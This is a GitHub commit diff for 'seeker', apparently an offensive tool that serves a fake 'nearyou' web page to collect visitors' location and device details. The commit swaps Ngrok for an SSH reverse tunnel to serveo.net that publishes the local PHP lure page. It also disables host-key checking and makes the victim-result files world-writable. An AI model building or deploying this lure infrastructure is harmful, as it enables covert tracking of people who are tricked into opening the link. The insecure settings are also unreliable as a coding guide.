Skip to content

Commit

Permalink
Replaced Ngrok with Serveo
Browse files Browse the repository at this point in the history
  • Loading branch information
thewhiteh4t committed Mar 11, 2019
1 parent 0570e41 commit 5bf514e
Show file tree
Hide file tree
Showing 3 changed files with 31 additions and 63 deletions.
28 changes: 2 additions & 26 deletions install.sh
Original file line number Diff line number Diff line change
Expand Up @@ -10,35 +10,11 @@ echo ' wget'
apt-get -y install wget &>> install.log
echo ' unzip'
apt-get -y install unzip &>> install.log
echo ' openssh'
apt-get -y install openssh &>> install.log
echo ' Requests'
pip install requests &>> install.log
echo
echo '[!] Downloading Ngrok...'
rm -rf ngrok*
rm -rf Ngrok/
arch=$(uname -m)
if [ $arch == "x86_64" ]; then
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip
unzip ngrok-stable-linux-amd64.zip
mkdir Ngrok
mv ngrok Ngrok/
rm ngrok-stable-linux-amd64.zip
elif [ $arch == "x64" ]; then
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip
unzip ngrok-stable-linux-amd64.zip
mkdir Ngrok
mv ngrok Ngrok/
rm ngrok-stable-linux-amd64.zip
elif [ $arch == "i386" ]; then
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-386.zip
unzip ngrok-stable-linux-386.zip
mkdir Ngrok
mv ngrok Ngrok/
rm ngrok-stable-linux-386.zip
else
echo Error : Unable to get Architecture!
fi
echo
echo '[!] Setting Permissions...'
chmod 777 template/nearyou/php/info.txt
chmod 777 template/nearyou/php/result.txt
Expand Down
64 changes: 28 additions & 36 deletions seeker.py
Original file line number Diff line number Diff line change
Expand Up @@ -18,12 +18,11 @@
os.chdir(swd)
result = '{}/template/nearyou/php/result.txt'.format(swd)
info = '{}/template/nearyou/php/info.txt'.format(swd)
api = 'http://localhost:4040/api/tunnels'
site = 'nearyou'
ver = '1.1.0'
ver = '1.1.1'

if sys.version_info[0] >= 3:
raw_input = input
raw_input = input

def banner():
os.system('clear')
Expand All @@ -39,7 +38,7 @@ def banner():

def network():
try:
requests.get('http://www.google.com/', timeout = 5)
requests.get('https://github.com/', timeout = 5)
print (G + '[+]' + C + ' Checking Internet Connection...' + W, end='')
print (G + ' Working' + W + '\n')
except requests.ConnectionError:
Expand Down Expand Up @@ -68,43 +67,37 @@ def version():
else:
print (G + ' Up-to-date' + W)

def ngrok():
def serveo():
global api, site, swd
flag = False
print ('\n' + G + '[+]' + C + ' Starting PHP Server...' + W)
with open ('php.log', 'w') as phplog:
subp.Popen(['php', '-S', '0.0.0.0:80', '-t', '{}/template/'.format(swd)], stderr=phplog, stdout=phplog)
print ('\n' + G + '[+]' + C + ' Starting Ngrok...' + W + '\n')
subp.Popen(['./Ngrok/ngrok', 'http', '80'], stdin=subp.PIPE, stderr=subp.PIPE, stdout=subp.PIPE)
time.sleep(2)
subp.Popen(['php', '-S', '127.0.0.1:8080', '-t', '{}/template/'.format(swd)], stderr=phplog, stdout=phplog)

def geturl():
time.sleep(2)
global goturl, url
r1 = requests.get('{}'.format(api))
page = r1.content
json1 = json.loads(page)
items = json1['tunnels']
if not items:
geturl()
else:
for item in json1['tunnels']:
if item['proto'] == 'https':
url = item['public_url']
if '.ngrok.io' in url:
goturl = True
else:
goturl = False

geturl()
print ('\n' + G + '[+]' + C + ' Getting Serveo URL...' + W + '\n')
with open ('/tmp/serveo.txt', 'w') as tmpfile:
proc = subp.Popen(['ssh', '-oStrictHostKeyChecking=no', '-R', '80:localhost:8080', 'serveo.net'], stdout = tmpfile, stderr = tmpfile, stdin = subp.PIPE)

while True:
time.sleep(2)
if goturl == True:
print ( G + '[+]' + C + ' URL : ' + W + url + '/' + site + '/')
break
else:
print (R + '[-]' + C + ' Unable to Get Ngrok URL.' + W + '\n')
sys.exit()
with open ('/tmp/serveo.txt', 'r') as tmpfile:
try:
stdout = tmpfile.readlines()
if flag == False:
for elem in stdout:
if 'HTTP' in elem:
elem = elem.split(' ')
url = elem[4].strip()
url = url + '/{}/'.format(site)
print (G + '[+]' + C + ' URL : ' + W + url)
flag = True
else:
pass
elif flag == True:
break
except Exception as e:
print (e)
pass

def wait():
printed = False
Expand Down Expand Up @@ -195,14 +188,13 @@ def quit():
global result
with open (result, 'w+'): pass
os.system('pkill php')
os.system('pkill ngrok')
exit()

try:
banner()
network()
version()
ngrok()
serveo()
wait()
main()

Expand Down
2 changes: 1 addition & 1 deletion version.txt
Original file line number Diff line number Diff line change
@@ -1 +1 @@
version: 1.1.0
version: 1.1.1

0 comments on commit 5bf514e

Please sign in to comment.